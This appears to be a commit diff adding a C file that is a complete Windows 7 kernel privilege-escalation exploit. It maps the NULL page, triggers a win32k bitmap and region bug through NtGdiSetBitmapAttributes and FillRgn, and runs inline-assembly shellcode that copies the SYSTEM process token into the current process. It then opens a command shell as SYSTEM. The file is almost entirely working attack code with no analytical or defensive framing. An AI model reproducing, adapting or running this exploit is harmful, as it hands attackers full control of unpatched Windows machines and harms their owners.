|
| 1 | +#include <Windows.h> |
| 2 | +#include <stdio.h> |
| 3 | + |
| 4 | +#pragma comment(lib, "gdi32.lib") |
| 5 | +#pragma comment(lib, "user32.lib") |
| 6 | + |
| 7 | +#ifndef W32KAPI |
| 8 | +#define W32KAPI DECLSPEC_ADDRSAFE |
| 9 | +#endif |
| 10 | + |
| 11 | + |
| 12 | + |
| 13 | +#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread |
| 14 | +#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process |
| 15 | +#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId |
| 16 | +#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink |
| 17 | +#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token |
| 18 | +#define SYSTEM_PID 0x004 // SYSTEM Process PID |
| 19 | + |
| 20 | + |
| 21 | +int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) { |
| 22 | + __asm { |
| 23 | + ; initialize |
| 24 | + pushad; save registers state |
| 25 | + |
| 26 | + xor eax, eax; Set zero |
| 27 | + mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread |
| 28 | + mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process |
| 29 | + |
| 30 | + mov ecx, eax; Copy current _EPROCESS structure |
| 31 | + |
| 32 | + mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token |
| 33 | + mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4 |
| 34 | + |
| 35 | + SearchSystemPID: |
| 36 | + mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink |
| 37 | + sub eax, FLINK_OFFSET |
| 38 | + cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId |
| 39 | + jne SearchSystemPID |
| 40 | + |
| 41 | + mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token |
| 42 | + mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM |
| 43 | + ; to current process |
| 44 | + popad; restore registers state |
| 45 | + } |
| 46 | + return 0; |
| 47 | +} |
| 48 | + |
| 49 | +typedef struct _GDICELL { |
| 50 | + LPVOID pKernelAddress; |
| 51 | + USHORT wProcessId; |
| 52 | + USHORT wCount; |
| 53 | + USHORT wUpper; |
| 54 | + USHORT wType; |
| 55 | + LPVOID pUserAddress; |
| 56 | +} GDICELL, *PGDICELL; |
| 57 | + |
| 58 | +unsigned int demo_CreateBitmapIndirect(void) { |
| 59 | + static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 }; |
| 60 | + HBITMAP hBitmap; |
| 61 | + static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0, |
| 62 | + 0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 }; |
| 63 | + |
| 64 | + bitmap.bmBits = bits; |
| 65 | + |
| 66 | + SetLastError(NO_ERROR); |
| 67 | + |
| 68 | + hBitmap = CreateBitmapIndirect(&bitmap); |
| 69 | + |
| 70 | + return (unsigned int)hBitmap; |
| 71 | +} |
| 72 | + |
| 73 | +#define eSyscall_NtGdiSetBitmapAttributes 0x1110; |
| 74 | + |
| 75 | +typedef NTSTATUS WINAPI NtAllocateVirtualMemory_t(IN HANDLE ProcessHandle, |
| 76 | + IN OUT PVOID *BaseAddress, |
| 77 | + IN ULONG ZeroBits, |
| 78 | + IN OUT PULONG AllocationSize, |
| 79 | + IN ULONG AllocationType, |
| 80 | + IN ULONG Protect); |
| 81 | + |
| 82 | +W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes( |
| 83 | + HBITMAP argv0, |
| 84 | + DWORD argv1 |
| 85 | + ) |
| 86 | +{ |
| 87 | + HMODULE _H_NTDLL = NULL; |
| 88 | + PVOID addr_kifastsystemcall = NULL; |
| 89 | + _H_NTDLL = LoadLibrary(TEXT("ntdll.dll")); |
| 90 | + addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall"); |
| 91 | + __asm |
| 92 | + { |
| 93 | + push argv1; |
| 94 | + push argv0; |
| 95 | + push 0x00; |
| 96 | + mov eax, eSyscall_NtGdiSetBitmapAttributes; |
| 97 | + mov edx, addr_kifastsystemcall; |
| 98 | + call edx; |
| 99 | + add esp, 0x0c; |
| 100 | + } |
| 101 | +} |
| 102 | + |
| 103 | +void Trigger_BSoDPoc() { |
| 104 | + HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect(); |
| 105 | + HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9); |
| 106 | + |
| 107 | + RECT rect = { 0 }; |
| 108 | + rect.left = 0x368c; |
| 109 | + rect.top = 0x400000; |
| 110 | + HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect); |
| 111 | + |
| 112 | + HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0); |
| 113 | + SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2); |
| 114 | + |
| 115 | + HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13); |
| 116 | + |
| 117 | + FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush); |
| 118 | +} |
| 119 | + |
| 120 | +void PopShell() |
| 121 | +{ |
| 122 | + STARTUPINFO si = { sizeof(STARTUPINFO) }; |
| 123 | + PROCESS_INFORMATION pi; |
| 124 | + |
| 125 | + ZeroMemory(&si, sizeof(si)); |
| 126 | + si.cb = sizeof(si); |
| 127 | + ZeroMemory(&pi, sizeof(pi)); |
| 128 | + |
| 129 | + CreateProcess(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); |
| 130 | + |
| 131 | +} |
| 132 | + |
| 133 | +int main(int argc, char* argv[]) |
| 134 | +{ |
| 135 | + HANDLE hProcess; |
| 136 | + DWORD dwPID = GetCurrentProcessId(); |
| 137 | + DWORD Virtual_BaseAddr = 1; |
| 138 | + SIZE_T RegionSize = 0x1000; |
| 139 | + |
| 140 | + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwPID); |
| 141 | + NtAllocateVirtualMemory_t *NtAllocateVirtualMemory; |
| 142 | + NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t *)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory"); |
| 143 | + ULONG VirtualMemory_Result = NtAllocateVirtualMemory(hProcess, |
| 144 | + (LPVOID*)&Virtual_BaseAddr, |
| 145 | + 0, |
| 146 | + &RegionSize, |
| 147 | + MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, |
| 148 | + PAGE_EXECUTE_READWRITE); |
| 149 | + if (VirtualMemory_Result != 0x0) |
| 150 | + printf(" [!] Failed to allocate memory at BaseAddress, error: 0x%X\n", VirtualMemory_Result); |
| 151 | + else { |
| 152 | + printf(" [*] Allocated memory at BaseAddress"); |
| 153 | + } |
| 154 | + memset(0x0, 0, 0x1000); |
| 155 | + |
| 156 | + void* bypass_one = (void *)0x590; |
| 157 | + *(LPBYTE)bypass_one = 0x1; |
| 158 | + void* bypass_two = (void *)0x592; |
| 159 | + *(LPBYTE)bypass_two = 0x1; |
| 160 | + void* jump_addr = (void *)0x748; |
| 161 | + *(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7; |
| 162 | + Trigger_BSoDPoc(); |
| 163 | + PopShell(); |
| 164 | + return 0; |
| 165 | +} |
0 commit comments